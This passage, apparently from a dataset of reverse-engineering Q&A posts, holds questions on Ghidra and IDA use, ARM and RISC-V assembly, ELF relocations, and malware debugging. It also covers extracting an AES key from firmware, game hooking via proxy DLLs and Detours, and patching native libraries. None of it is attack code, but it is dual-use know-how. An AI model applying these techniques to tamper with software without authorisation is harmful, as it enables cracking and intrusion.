+Now I want to find the 16 byte private key in my binary. +When I open the binary in a hex editor and search for my key I find all 16 bytes in a row. +I loaded the binary in Ghidra, installed FindCrypt before and now run the analysis. +FindCrypt now finds AES_Decrytion_SBox_Inverse and AES_Ecryption_SBox. +But both are not my AES key but the SBox. How does it go on after that? In all tutorials I find it looks quite simple, because the Functions Finder finds the AES functions - but since the project is Bare Metal this will probably not work. +I thought FindCrypt looks for some kind of hex pattern which could result in a key... +I have attached the binary. endian is little, architecture is ARM Cortex (I think?!) + +" +['idapython']," Title: BaseHTTPRequestHandler + ThreadingMixin = unclosed portBody: In developing a RESTful API for IDA >= 7.5 [https://github.com/sfinktah/idarest75], I have observed that a standard threaded webserver does not release it's socket when IDA terminates, unless it is run as a plugin. This behaviour may extend to all threading, I have not tested. +If the code below is simply loaded as a script (or pasted into the CLI) it will actually cause IDA to invisibly hang when IDA is exited, i.e. IDA appears to close but can actually found to be still running in Task Explorer -> Details. +Is there perhaps an IDA-specific atexit analog, as the builtin Python version certainly does not help. +Whilst the finished project is capable of running either as a plugin or a stand-alone script, the lack of any way to unload a python plugin requires keeping a reference to the class instance in order to call .term(), which is contra-indicated if one actually expects destruction to occur correctly. +Sample code (paste, exit IDA, observe running tasks). +
def ida_issue():
+    from http.server import BaseHTTPRequestHandler, HTTPServer
+    from socketserver import ThreadingMixIn
+    import threading
+
+    class Handler(BaseHTTPRequestHandler):
+        def do_GET(self):
+            self.send_response(200)
+            self.end_headers()
+
+    class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
+        allow_reuse_address = True
+
+    class Worker(threading.Thread):
+        def __init__(self, host, port):
+            threading.Thread.__init__(self)
+            self.httpd = ThreadedHTTPServer((host, port), Handler)
+            self.host = host
+            self.port = port
+
+        def run(self):
+            self.httpd.serve_forever()
+
+        def stop(self):
+            self.httpd.shutdown()
+            self.httpd.server_close()
+
+    class Master:
+        def __init__(self):
+            self.worker = Worker('127.0.0.1', 28612)
+            self.worker.start()
+
+    def main():
+        master = Master()
+        return master
+
+    return main()
+
+server = ida_issue()
+
+

How to re/unload [co-operative] IDAPython plugins.

+
class idarest_plugin_t(IdaRestConfiguration, ida_idaapi.plugin_t):
+    flags = ida_idaapi.PLUGIN_UNL
+
+    def run(self, *args):
+        pass
+
+def reload_idarest():
+    l = ida_loader.load_plugin(sys.modules['__plugins__idarest_plugin'].__file__)
+    ida_load.run_plugin(l, 0)
+    # pip install exectools (or ida_idaapi.require would probably suffice)
+    unload('idarest_plugin')
+    # reload plugin (or not)
+    l = ida_loader.load_plugin(sys.modules['__plugins__idarest_plugin'].__file__)
+
+" +['decompilation']," Title: Procyon vs CFR for Java DecompilerBody: I'm trying to find the best Java class decompiler thats the most reliable. What's the difference between Procyon and CFR as far as decompiling the most classes sucessfully? +" +"['ida', 'disassembly', 'arm']"," Title: ARM floating point register S0 used without initializationBody: The following code snippet is the first few assembly instructions of a function. +The code runs on armv8a. +SUB SP, SP, #0x170 is the first assembly instruction of the function. Please note the instruction, FCMP S0, #0.0 . +My question is, register S0 is used without initialization. How is this possible? +Is there any assembly instruction that implicitly modifies S0 ? +
.text:00000000000CDCF0                 SUB             SP, SP, #0x170
+.text:00000000000CDCF4                 MOV             X2, #1
+.text:00000000000CDCF8                 MOV             X3, X2
+.text:00000000000CDCFC                 STR             D8, [SP,#0x170+var_120]
+.text:00000000000CDD00                 STP             X23, X24, [SP,#0x170+var_150]
+.text:00000000000CDD04                 MOV             X23, X0
+.text:00000000000CDD08                 MOV             X0, #0
+.text:00000000000CDD0C                 STP             X21, X22, [SP,#0x170+var_160]
+.text:00000000000CDD10                 STP             X19, X20, [SP,#0x170+var_170]
+.text:00000000000CDD14                 STP             X25, X26, [SP,#0x170+var_140]
+.text:00000000000CDD18                 STP             X27, X30, [SP,#0x170+var_130]
+.text:00000000000CDD1C                 ADD             X21, SP, #0x170+var_10
+.text:00000000000CDD20                 ADD             X22, SP, #0x170+var_8
+.text:00000000000CDD24                 LDRSW           X1, [X23,#0x40]
+.text:00000000000CDD28                 MOV             X4, X21
+.text:00000000000CDD2C                 MOV             X5, X22
+.text:00000000000CDD30                 BL              GOMP_loop_dynamic_start
+.text:00000000000CDD34                 UXTB            W0, W0
+.text:00000000000CDD38                 CBZ             W0, loc_CE0B8
+.text:00000000000CDD3C                 FMOV            S8, #1.0
+.text:00000000000CDD40 loc_CDD40                               ;
+.text:00000000000CDD40                 LDR             X24, [SP,#0x170+var_10]
+.text:00000000000CDD44                 LDR             W20, [SP,#0x170+var_8]
+.text:00000000000CDD48                 LSL             W26, W24, #0xC
+.text:00000000000CDD4C                 MOV             W27, W24
+.text:00000000000CDD50                 SBFIZ           X26, X26, #2, #0x20 ; ' '
+.text:00000000000CDD54                 SBFIZ           X24, X24, #2, #0x20 ; ' '
+.text:00000000000CDD58
+.text:00000000000CDD58                 LDR             W4, [X23,#0x3C]
+.text:00000000000CDD5C                 LDR             X3, [X23]
+.text:00000000000CDD60                 LDR             X2, [X23,#8]
+.text:00000000000CDD64                 SXTW            X25, W4
+.text:00000000000CDD68                 LDR             X5, [X23,#0x10]
+.text:00000000000CDD6C                 LSL             X1, X25, #4
+.text:00000000000CDD70                 LDRSW           X6, [X23,#0x38]
+.text:00000000000CDD74                 SUB             X7, X1, X25
+.text:00000000000CDD78                 LDR             W9, [X3,X24]
+.text:00000000000CDD7C                 LDR             W11, [X2,X24]
+.text:00000000000CDD80                 ADD             X10, X7, X6
+.text:00000000000CDD84                 LDR             W8, [X5,W4,SXTW#2]
+.text:00000000000CDD88                 SUB             W14, W9, #0x20 ; ' '
+.text:00000000000CDD8C                 LDR             X13, [X23,#0x18]
+.text:00000000000CDD90                 SUB             W15, W11, #0x20 ; ' '
+.text:00000000000CDD94                 LDR             X19, [X23,#0x28]
+.text:00000000000CDD98                 MOV             W3, W8
+.text:00000000000CDD9C                 LDR             X12, [X23,#0x30]
+.text:00000000000CDDA0                 MADD            W16, W8, W15, W14
+.text:00000000000CDDA4                 LDR             X17, [X13,X10,LSL#3]
+.text:00000000000CDDA8                 ADD             X19, X19, X26
+.text:00000000000CDDAC                 LDR             X1, [X23,#0x20]
+.text:00000000000CDDB0                 MOV             X2, X19
+.text:00000000000CDDB4                 ADD             X25, X12, X24
+.text:00000000000CDDB8                 ADD             X0, X17, W16,SXTW
+.text:00000000000CDDBC                 BL              FftCorr1
+.text:00000000000CDDC0                 FCMP            S0, #0.0
+
+" +"['assembly', 'firmware', 'memory', 'static-analysis', 'risc-v']"," Title: Not Understanding the FU540 Boot ProcessBody: I'm reading the manual for the SiFive FU540-C000 trying to understand the boot process, and I'm not making sense of the initial steps after power on. +I'm using MSEL = 1111 based on the recommendation for the software I'm booting from SD card. +
+On power-on, all cores jump to 0x1004 while running directly off of the external clock input, +expected to be 33.3 MHz. The memory at this location contains: +Table 8: Reset vector ROM +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
AddressContents
0x1000The MSEL pin state
0x1004auipc t0, 0
0x1008lw t1, -4(t0)
0x100Cslli t1, t1, 0x3
0x1010add t0, t0, t1
0x1014lw t0, 252(t0)
0x1018jr t0
+
+This is how I've decoded the instructions. +
    +
  1. 0x1004 = auipc t0, 0 +
      +
    • AUIPC uses the top 20 bits of the immediate, extends 0 to the low 12, then adds the PC value of the auipc instruction. Store in t0
    • +
    • t0 = 0x0 << 12 = 0x0 + 0x1004
    • +
    +
  2. +
+
+ + + + + + + + + + + + + + + + + + + + + +
RegisterValue
t00x1004
t1UNDEF
PC (next)0x1008
+
+
    +
  1. 0x1008 = lw t1, -4(t0) +
      +
    • Load value in memory address (t0 - 4), store in t1
    • +
    • t1 = Mem[0x1004 - 4] = Mem[0x1000] = MSEL = 0b1111 = 0xF
    • +
    +
  2. +
+
+ + + + + + + + + + + + + + + + + + + + + +
RegisterValue
t00x1004
t10x000F
PC (next)0x100C
+
+
    +
  1. 0x100C = slli t1, t1, 0x3 +
      +
    • t1 is left shifted 3, store in t1
    • +
    • t1 = 0b1111 << 3 = 0b1111000 = 0x78
    • +
    +
  2. +
+
+ + + + + + + + + + + + + + + + + + + + + +
RegisterValue
t00x1004
t10x0078
PC (next)0x1010
+
+
    +
  1. 0x1010 = add t0, t0, t1 +
      +
    • t1 is added to t0, store in t0
    • +
    • t0 = 0x1004 + 0x0078 = 0x107C
    • +
    +
  2. +
+
+ + + + + + + + + + + + + + + + + + + + + +
RegisterValue
t00x107C
t10x0078
PC (next)0x1014
+
+
    +
  1. 0x1014 = lw t0, 252(t0) +
      +
    • Load value in memory address t0 + 252, store in t0
    • +
    • t0 = Mem[0x107C + 0xFC] = Mem[0x1178] = 0x????
    • +
    +
  2. +
+
+ + + + + + + + + + + + + + + + + + + + + +
RegisterValue
t00x????
t10x0078
PC (next)0x1018
+
+
    +
  1. 0x1018 = jr t0 +
      +
    • jump directly to address in t0
    • +
    • PC = 0x????
    • +
    +
  2. +
+
+ + + + + + + + + + + + + + + + + + + + + +
RegisterValue
t00x????
t10x0788
PC (next)0x????
+
+The problem is that, according to the manual, MSEL = 0b1111 should jump to 0x0001_0000, doesn't mention anything about what's at 0x1178 +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BaseTopAttr.Description Notes
0x0000_00000x0000_00FFReserved
0x0000_01000x0000_0FFFRWX ADebug
0x0000_10000x0000_1FFFR XMode Select
0x0000_20000x0000_FFFFReserved
0x0001_00000x0001_7FFFR XMask ROM (32 KiB)
0x0001_80000x00FF_FFFFReserved
0x0100_00000x0100_1FFFRWX AS51 DTIM (8 KiB)
+
+Did I interpret something wrong, or is there something else going on in this boot sequence that I'm not getting? +--EDIT 1-- +In my original math I shifted the hex values left instead of binary. Going to attribute that to brain tired. It still isn't any more clear what's happening after the jump instruction. +--EDIT 2-- +It was pointed out that I was using LW incorrectly, loading the value in the register instead of the value in memory indicated by the address in register. Updated the math and still no more clear. +--EDIT 3-- +Thanks to mumbel for pointing out my incorrect use of the MSEL value. I treated as 0x1111 instead 0f 0b1111 = 0xF. I swear I know hex and binary. +" +"['ida', 'ghidra', 'elf', 'relocations']"," Title: How do relocations work for imported functions in SH4 ELF?Body: I build very simple hello world code with sh4 gcc compiler as shared library: +
#include <stdio.h>
+void hello()
+{
+    printf("Hello world!\n");
+}
+
+But when I load .so file into the disassembler(IDA or Ghidra), I can't actually find where puts is being called. Even though hello() function exists: + +But at the point where it should actually call printf/puts there's some address load operation which points to non existing address: + +I can see puts in the import section, but there's no code that references besides some data reference from .LOAD section. +Nevertheless case I build the code as the executable, not the shared library. puts thunk becomes visible among the functions: + +As if import thunks are not propagated for shared libraries, but propagated for the executables. +I've tried to find the issue myself so I ran readelf on both binaries. And it appears that it depends on relocation data. Here's executable file dump: +
'PLT' relocation section at offset 0x4002d0 contains 48 bytes:
+ Offset     Info    Type            Sym.Value  Sym. Name + Addend
+0041103c  000002a4 R_SH_JMP_SLOT     00400380   puts@GLIBC_2.2 + 0
+00411040  000001a4 R_SH_JMP_SLOT     00000000   __gmon_start__ + 0
+00411044  000005a4 R_SH_JMP_SLOT     004003b8   __libc_start_main@GLIBC_2.2 + 0
+00411048  000003a4 R_SH_JMP_SLOT     004003d4   abort@GLIBC_2.2 + 0
+
+And here's how it looks for shared module: +
'PLT' relocation section at offset 0x364 contains 36 bytes:
+ Offset     Info    Type            Sym.Value  Sym. Name + Addend
+00011010  000001a4 R_SH_JMP_SLOT     00000000   __cxa_finalize@GLIBC_2.2 + 0
+00011014  000003a4 R_SH_JMP_SLOT     00000000   puts@GLIBC_2.2 + 0
+00011018  000004a4 R_SH_JMP_SLOT     00000000   __gmon_start__ + 0
+
+Sym.Value is zero, and both Ghidra and IDA fails to determine where the thunks point. So the question are: +
    +
  1. What is so special about shared modules, that Sym.Value is zero?
  2. +
  3. How do the import thunks are propagated when the OS load so file?
  4. +
  5. Is there any way to map the imported functions into such thunks to make them have appropriate names in IDA or Ghidra?
  6. +
+The way the shared library was built: +
sh4-linux-gnu-gcc -c -g -fPIC hello.c -o hello.o
+sh4-linux-gnu-gcc hello.o -shared -o libhello.so
+
+" +['linux']," Title: parallel NAND flash dumped with dd mtd0-12Body: Hi hope some one can help i have tried dumping nand on a system in u-boot with the dd command so i have mtd0-12 but have now messed up bootloader now i have non booting device/brick. i have tried jtag but was a no go atm. i am new to Linux so is there any way of converting mtd0-12 to one bin file so i can flash nand off of the pcb or will i have ecc problems any input is welcome thank you. +" +"['ida', 'ghidra', 'dll-injection', 'address']"," Title: Why address space is different for Ghidra, IDA and xDebug runtime and which one to use?Body: I have opened an executable with Ghidra, IDA and x64dbg (runtime). +It seems that the address space in IDA and x64dbg is the same, but it is different from the one I see in Ghidra. +When hooking through proxy dll, which one should be used? +Here are the address snapshots. +Ghidra + +IDA + +x64dbg + +" +"['windows', 'pe', 'operating-systems']"," Title: Why are certain functions from kernel32.dll always imported?Body: I've been noticing this for a while. Functions like IsDebuggerPresent and GetModuleHandle are always present in a binary's import directory structure. I assume is the Window's dynamic linker, but where do I find information about it? Below is a screenshot of the "default" functions I'm talking about which are always imported. + +" +"['disassembly', 'assembly', 'binary-analysis', 'arm']"," Title: When would a program normally transfer data between memory and coprocessor?Body: In the analysis of an ARM binary, when would one normally encounter transfer operations between memory and a coprocessor? These are encoded as the LDC and STC operators. +Would it be common for programs to have this functionality or is it more specific for system-related operations? Any insight would be helpful, thanks in advance. + +" +"['debugging', '.net', 'dnspy']"," Title: How to debug a .net DLL?Body: I'm trying to reverse engineer a .net malicious EXE but it loads a DLL inside its memory. I have tried to debug this DLL using a tool called SharpDllLoader and dnspy but I have 2 issues: +

First one:

+(Cannot create an abstract class.) I searched a little bit and find out that the class inside DLL is static. +

Second one:

+After modifying the class type, I have another issue (no parameterless constructor defined for this object) +I'm not expert in c# but these issues appears after executing CreateInstance +
private static void Main(string[] args)
+{
+    ParserResult<Options> result = Parser.Default.ParseArguments<Options>(args);
+    if (result.Tag != ParserResultType.Parsed)
+    {
+        Environment.Exit(1);
+        return;
+    }
+    Options options = ((Parsed<Options>)result).Value;
+    string filepath = options.Dll;
+    string ns = options.Namespace;
+    string c = options.Class;
+    string i = options.Method;
+    string[] arguments = null;
+    if (options.Args != null)
+    {
+        arguments = options.Args.Split(new char[0]);
+    }
+    Assembly assembly = Assembly.LoadFile(filepath);
+    Type type;
+    if (ns == null)
+    {
+        type = assembly.GetType(c);
+    }
+    else
+    {
+        type = assembly.GetType(ns + "." + c);
+    }
+    if (!(type != null))
+    {
+        Console.WriteLine("Class or namespace not found");
+        return;
+    }
+    object cl = Activator.CreateInstance(type); //Here
+
+

Solution

+I have tried another way to get an instance of this object without running any constructors by using +FormatterServices.GetUninitializedObject(type). +https://stackoverflow.com/questions/2501143/activator-createinstancetype-for-a-type-without-parameterless-constructor +" +"['disassembly', 'arm', 'register', 'libraries']"," Title: How to insert arm instructions into a function in a native library?Body: I am new and am still learning assembly languuage. In a native android app library that has been disassembled i found this function which had 1 instruction. +
addres    hex     arm instruction                            function
+2cc3ad   71704708 stmdaeq r7, {r0, r4, r5, r6, ip, sp, lr} ^ function0(unsigned char)
+
+I have read in articles that arguments used to call a function are are stored on r0,r1 and r2 respectively. +I wanted to add 200 into register r0 so that the instruction can store the value into the the memory referenced by those registers. +So i inserted the the hex value of a a mov instruction at the address 2cc3ad so that in a hex editor it appeared like this. +mov ro, #200 is C800A0E3 in hex. +
address     Hex              Instruction    
+2cc3ad      C800A0E3         mov ro, #200   
+2cc3b1      71704708         stmdaeq r7, {r0, r4, r5, r6, ip, sp, lr} ^
+
+After editing and adding those bytes i saved to the file. +Before using the edited library i tried to redisassemble it but the disassembler gave an error as well as the app which used the library. +In my understanding by adding that byte to the library i corrupted the whole file. +Is there a way or an instruction i can use to to assign a certain value to r0 or to store the value to the memory referenced by those registers in that function without modifying the whole library? +" +"['decryption', 'encodings']"," Title: Decoding Game dataBody: I am very new to this whole business so please bear with me. +Goal: Am trying to decode data from a post request from game to server starting with Q0. +Most of the game data is encoded in Base64, but the data i'm looking for seems to have another layer of encryption/decoding +So far i've played around with Burp Suite, various online decoders, but no luck yet. +if anyone recognises this format, please advise how to decrypt/decode it. +Thank you very much! +Example: +Q0NaIQAAAAIAAAAAAAADBXicbVE9SwNBFNzNfiWBcM2hGFJbKFhpk8ITC0Es/AZjI9YpLAQVYqNFAvkFYiAJdmIKUTBYWFmIgsHGKhYqBCxsg1Zq5jbvuGAWFvbNvJmdt7vO7Ip3tlOaPTSSR2JaxdXKfat8kTqrLXlyvNicPtnM/FaT1dw773KowaEHvOW4AAc86JcWQx+wx+HtOldK4gxsJJ1KgA/j0PfgXju9ZyRjiktXtX92m2B3no5vyaWVaSS4riznjWBMCsEjXuHzAexHazTPuzUUVMMBStTMnC80TAdUQkaDZOhGgvAUlM5ijnKu51779k9NFJ+RJaqVq9ABBh30XpcV95TmDXMW5wJ4D9a9DRj9CXTZ8swiXoWSUArM53Md L9IFmFed3EA6zW7mj2o4xaLa+lMWmiq3/zbG1dA/f9zvc9L601z+f2k38CINOP9u7fR4kc5mdftmsLq4yjbXvsM45vEzaKW+kqtZ+NCc4P0sg4WrAxNhTLCtl1IdJ8kGxF3NcGD++gNkSTkw +" +"['malware', 'documentation']"," Title: What is the meaning of SYSTEM_INFO.wProcessorLevel?Body: I am performing some RE on a malware sample, and they are checking the value of SYSTEM_INFO[32] which is SYSTEM_INFO.wProcessorLevel. The description MS provides is not clear to me. The malware checks if this value is 0x0 and exits immediately. Sources online say this is to avoid malware inspection environments - when I read this value on my Windows10 PC (not in a VM, just a basic VS script), it returns 0x6. Can someone shed some light on the meaning of this SYSTEM_INFO offset? +" +"['binary-analysis', 'binary', 'exploit', 'kernel', 'unknown-data']"," Title: What is data only exploitation?Body: I was wondering, and after trying to read for the past several months I got totally lost and don't understand this concept. Could someone please explain in simple words the concept of data only attacks, what's their purpose and why choose this method over others? +Note: I am familiar with other techniques such as the various ret2, jop/rop,... +Additionally, I would appreciate it if someone who knew a "cheat sheet"/wiki-like site/GitHub that shows modern concepts regarding exploitation(not old stuff that the internet is full with). I am pretty sure it could help a lot of people here as well. +My goal is to help make things more secure and I really want to contribute my part to aid. +" +['android']," Title: How to reverse android native libraries? Best resources?Body: I want to improve myself in Android penetration testing. For this task i need to learn reversing the native libraries of an APK file to detect vulnerabilities. What is the best way and resources for my task? +" +"['decompilation', 'address', 'offset', 'hexadecimal']"," Title: How to find offset to a function address from the base address in decompiled image (IDA or Ghidra)Body: Let's say there is a default base address for the application image on both IDA and Ghidra and it is equal to 140 000 000. +If the function address is: 140 039 ea0 +Does it mean that the offset from the base address to that function address is 0x39ea0? +The reason for asking is that when I am setting the hook like this: +HookInfo{(void**)&gladius::get().gamemain, gamemainHooked} +where HookInfo = std::pair<void**, void*>; +The gamemain address is derived from baseAddress of the main process + offset (I am sure it works as intended) is saying that there is read access violation at that address. +" +"['assembly', 'arm', 'functions', 'register']"," Title: Branching in arm assemblyBody: This is an example assembly code: +
     function0()
+ 0x0.mov r0, #1
+ 0x8.mov r1, #20
+0x10.mov r2, #6
+0x18.cmp r1, #16
+0x20.b function1
+
+     function1()
+0x28.cmp r0, #1
+0x30.b functionX
+
+     functionX()
+0x38.bx lr
+
+As far as I know, function0 moved those values into the first 3 registers. In function1 no values were moved into registers. +What I don't understand is: +
    +
  1. after branching to function1 do registers r1 and r2 still have those values or those registers have been zeroed out? +
  2. +
  3. After branching to functionX, is the link register still the same as the one in function0? +
  4. +
+" +['idapython']," Title: IDAPython: Is it possible to determine whether an instruction operand is a constant rather than a variable?Body: Here is my use case: +I am trying to create a script that finds all instances of a particular instruction (in this case wrmsr) and traces back to find out whether the operands for the instruction are hard-coded literals or variables that are set at runtime. This is meant to help me detect a certain flavor of vulnerable driver. +Does IDAPython have a way to query instruction operands to distinguish between literals and variables? How would I do this? +" +"['disassembly', 'arm', 'elf', 'section']"," Title: Code caves in arm assemblyBody: In a disassembled elf binary i found these arm thumb instructions: +
function0
+0x002cc3a8  8079       ldrb r0, [r0, #6]
+0x002cc3aa  7047       bx      lr
+
+In the codecave these were the initial hex bytes: +
0x00033fd8 00 00 00 00 00 00 00 00 
+0x00033fe0 00 00 00 00 00 00 00 00
+
+Then i just branched to the code cave(converted the instruction to a thumb hex): +
function0
+0x002cc3a8  33F0EABF        b 0x33fd8
+
+Then inserted the same hex bytes into the code cave(I did not change anything): +
0x00033fd8 80 79 70 47 00 00 00 00
+0x00033fe0 00 00 00 00 00 00 00 00
+
+Function0 and the codecave were in different sections but both sections had the same readable and executable flags. After running the application when that function was called there was an error. The app just quit. It seems like the problem comes from branching to the codecave. Is there something wrong that i did? Should both the function and the codecave be in the same section? +" +"['ida', 'idapython']"," Title: Does COT_HELPER have arguments/operands?Body: I am trying to learn the hexrays ctree api. I am using the python bindings. +The task I am trying to automate is tracing the arguments to wrmsr instructions. +I notice that hexrays represents them like this: +
__writemsr(*(_DWORD *)SYSTEM_BUFFER, *((_QWORD *)SYSTEM_BUFFER + 1));
+
+Using Hexrayscodexplorer I figured out that this is a "helper" expression: +
helper __writemsr
+ea->FFFFFFFFFFFFFFFF
+void (__fastcall *)(unsigned int, unsigned __int64)
+
+By the looks of the decompilation output, I expect I should be able to access the arguments to the "helper" (*(_DWORD *)SYSTEM_BUFFER, *((_QWORD *)SYSTEM_BUFFER + 1) in this case) - however the spots where I would look for operands or function arguments for a function call (cot_call) aren't populated. +Is this possible to do? +I have so far tried to look for arguments in: +
cexpr_t.x
+
+cexpr_t.y
+
+cexpr_t.a
+
+I'm sure I just don't understand how these helper expressions work in IDA. Unfortunately the function I'm trying to analyze is nested very deeply in a huge function, so it's kind of hard to see how all of the trees work together in the ctrees graph view provided by Hexrayscodexplorer. +Are the arguments held in some other cexpr object? How do I get to them? +" +"['disassembly', 'assembly', 'x86', 'c']"," Title: Translate ASM code x86 32 bits in CBody: I have a exercise which i can't resolve it, and i need help. If anyone can help me it would be great. I have the next ASM code in x86 32 bits which i need to translate in C language: +
Dump of assembler code for function main:
+0x0000054d <+0>: lea ecx,[esp+0x4]
+0x00000551 <+4>: and esp,0xfffffff0
+0x00000554 <+7>: push DWORD PTR [ecx-0x4]
+0x00000557 <+10>: push ebp
+0x00000558 <+11>: mov ebp,esp
+0x0000055a <+13>: push ebx
+0x0000055b <+14>: push ecx
+0x0000055c <+15>: sub esp,0x10
+0x0000055f <+18>: call 0x450 <__x86.get_pc_thunk.bx>
+0x00000564 <+23>: add ebx,0x1a9c
+0x0000056a <+29>: mov DWORD PTR [ebp-0x10],0x0
+0x00000571 <+36>: lea eax,[ebx-0x19a0] ; “3jd9cjfk98hnd”
+0x00000577 <+42>: mov DWORD PTR [ebp-0x14],eax
+0x0000057a <+45>: sub esp,0xc
+0x0000057d <+48>: push DWORD PTR [ebp-0x14]
+0x00000580 <+51>: call 0x3e0 <strlen@plt>
+0x00000585 <+56>: add esp,0x10
+0x00000588 <+59>: mov DWORD PTR [ebp-0x18],eax
+0x0000058b <+62>: mov DWORD PTR [ebp-0xc],0x0
+0x00000592 <+69>: jmp 0x5ad <main+96>
+0x00000594 <+71>: mov edx,DWORD PTR [ebp-0xc]
+0x00000597 <+74>: mov eax,DWORD PTR [ebp-0x14]
+0x0000059a <+77>: add eax,edx
+0x0000059c <+79>: movzx eax,BYTE PTR [eax]
+0x0000059f <+82>: movsx eax,al
+0x000005a2 <+85>: imul eax,DWORD PTR [ebp-0x18]
+0x000005a6 <+89>: add DWORD PTR [ebp-0x10],eax
+0x000005a9 <+92>: add DWORD PTR [ebp-0xc],0x1
+0x000005ad <+96>: mov eax,DWORD PTR [ebp-0xc]
+0x000005b0 <+99>: cmp eax,DWORD PTR [ebp-0x18]
+0x000005b3 <+102>: jl 0x594 <main+71>
+0x000005b5 <+104>: sub esp,0x8
+0x000005b8 <+107>: push DWORD PTR [ebp-0x10]
+0x000005bb <+110>: lea eax,[ebx-0x1992] ; “[+] Code generated: %i\n”
+0x000005c1 <+116>: push eax
+0x000005c2 <+117>: call 0x3d0 <printf@plt>
+0x000005c7 <+122>: add esp,0x10
+0x000005ca <+125>: mov eax,0x0
+0x000005cf <+130>: lea esp,[ebp-0x8]
+0x000005d2 <+133>: pop ecx
+0x000005d3 <+134>: pop ebx
+0x000005d4 <+135>: pop ebp
+0x000005d5 <+136>: lea esp,[ecx-0x4]
+0x000005d8 <+139>: ret
+End of assembler dump.
+
+
    +
  1. I need to divide this in basic blocks.
  2. +
  3. Make flow chat.
  4. +
  5. Convert this code in C.
  6. +
+I know this code is using a loop, cause the line +102 takes again to main+71. Also, i have a bit of idea of this code, but, nothing clear. That's why i'm asking you. +I appreciate a lot your time helping me guys. +Thank you so much! +" +"['c++', 'function-hooking', 'dll-injection', 'api-reversing']"," Title: DetourAttach breaks with Illegal Instruction 0xC000001DBody: I am trying to detour a function using DetourAttach() in the following fashion: +
hooks::logDebug("swresample-3Proxy.log", fmt::format("Try to attach hook. Function {:p}, hook {:p}.",
+    *hook.first, hook.second));
+writeProtectedMemory(hook.first, hook.second);
+auto result = DetourAttach(hook.first, hook.second);
+
+Where hook.first = 0x00007ff69f119ea0 {Gladius.exe!gladius::Game::main(int,char * *,char * *)} {0x8b4820ec83485340} void * * +hook.second = 0x00007ff818f51ef5 {swresample-3.dll!hooks::gamemainHooked(struct gladius::Game *,int,char * *,char * *)} void * +But the result comes with the following error: +
+Exception thrown at 0x00007FF69F119EA1 in Gladius.exe: 0xC000001D: +Illegal Instruction. +
+And the question marks (see the screenshot) where the jump instruction supposed to be. + +Would appreciate some help in resolving this... +" +"['decompilation', 'c#', 'game-hacking']"," Title: Is there a way to find the implementation of methods with MethodImplOptions.InternalCall attribute?Body: Background:
+The Unity engine provides a number of PlayerPrefs.SetXxx functions that can be used to save user data. However, it will automatically append a hash to the name of what you saved. For example, a call of
+PlayerPrefs.SetString("justTesting", "TEST!");
+will add a registry value of
+justTesting_h3837386411
+on Windows platform.
+Problem:
+I know it's actually djb2-xor, but I am still curious about how the hash function is implemented. By using dnSpy I found PlayerPrefs.SetString, which is implemented in UnityEngine.CoreModule.dll, finally calls a native method declared as +
[NativeMethod("SetString")]
+[MethodImpl(MethodImplOptions.InternalCall)]
+private static extern bool TrySetSetString(string key, string value);
+
+And I'm stuck here. There's indeed a string UnityEngine.PlayerPrefs::TrySetSetString in .rdata section of UnityPlayer.dll, but I don't know where to find the actual code for it. What should I do next? +" +"['assembly', 'dll', '.net', 'dnspy']"," Title: How to step into an invoked method from a DotNet DLL in dnSpy?Body: I've been analyzing a malware written in C# using dnSpy. It loaded a dotnet assembly DLL from its Resources: + +I tried stepping into InvokeMember function, but could not go further when hitting this call: + +I've dumped the DLL to file to analyze it statically, but the code is protected by SmartAssembly, so I cannot fully understand its behavior. +My question is: how can I step into the code of the method called by "InvokeMethod"? If I cannot do it directly, is there any workaround? +" +"['ollydbg', 'x64dbg']"," Title: function vbavarindexload in msvbvm60.dll, what is doing ? and Parameters?Body: I need urgent help , I was debugging a software made by Visual basic 6 , and I found +vbavarindexload function and I need to know what is doing ? +Thanks in advance +" +['file-format']," Title: What is .pb file format?Body: TL;DR: What file format is this (if it's not a private file format) and how do I parse it? +
+Before I say anything, I want to say that I am new to reverse engineering and StackExchange. +I am trying to reverse-engineer the Yandex iOS app's call blocking function. I know how the iOS call blocking API works and I know that, in summary, the app gives the system a list of numbers and the action to do with them — there is no code ran by the app when a call comes in, and it never even gets to see incoming phone numbers. My end goal is to then write a privacy-conscious version of this for my Android phone (yes there is an Android version of the app, but it requires you to set it as the device's assistant, allowing it to see the phone's screen, notifications, calls, etc.) +I have put the app in a MITM proxy and found this URL it was downloading the phone database from: https://storage.mds.yandex.net/get-cid-offline/1995371/cid.full.large.ru.1.1633994274.pb.gz After extracting, I get a .pb file. If I look at it in a text editor, I can see the messages for the phone numbers, like scam likely, delivery driver, company names, etc. But the actual phone numbers are encoded in a binary format. +It's not SQLite, and it's not encrypted, 010 Editor incorrectly recognizes this as a "TensorFlow Model" format and shows nothing. file command just says "data" (I assume unknown file format). I'm thinking it's a custom file format, but I am not sure. Can someone please explain to me how to parse this file, or even how to convert this file format into something like JSON or XML? Thank you in advance +" +"['c++', 'function-hooking', 'dll-injection']"," Title: Inconsistency in function addresses of the hooked functions (address shift)Body: I came across "a strange" inconsistency in terms of the function addresses in the particular application. +First, the main function is hooked successfully, the address is derived in a fashion: +baseAddress + Offset, i.e. from Ghidra baseAddress is 140000000 and the address of the main function is: 0x39EA0 +So, the main function address is +
(DWORD_PTR*) baseAddress + 0x39EA0 / (2 * sizeof(DWORD))
+
+This works just fine. +But now I am trying to call +
gladius::world::World* __fastcall gladius::gui::GUI::getWorld(gladius::gui::GUI* thisptr);
+
+from within the hooked function and +which according to Ghidra supposed to be at 14003ef30. +That makes the offset equal to 0x3ef30 (plus pointer arithmetic). But at that offset from the baseAddress I get +
Gladius.exe!proxy::video::RenderQueueManager::get
+
+function. +which in the static analysis is at address 14003ecc0, 270 bytes away from the static address of getWorld. +So, what is happening? Why the stack shifted by 270 bytes? Is it the size of my hooked function? +" +"['malware', 'x64dbg']"," Title: decoding thread context structure in x64dbgBody: Is there any way to decode the thread context structure returned by "GetThreadContext" and used by "SetThreadContext" in x64dbg? +" +"['ida', 'c++']"," Title: Can't find references (xref) to functionBody: I am reversing a function and when I trying to see its references, it doesn't show me the calls to the function. It only show the place of the object in RVA.
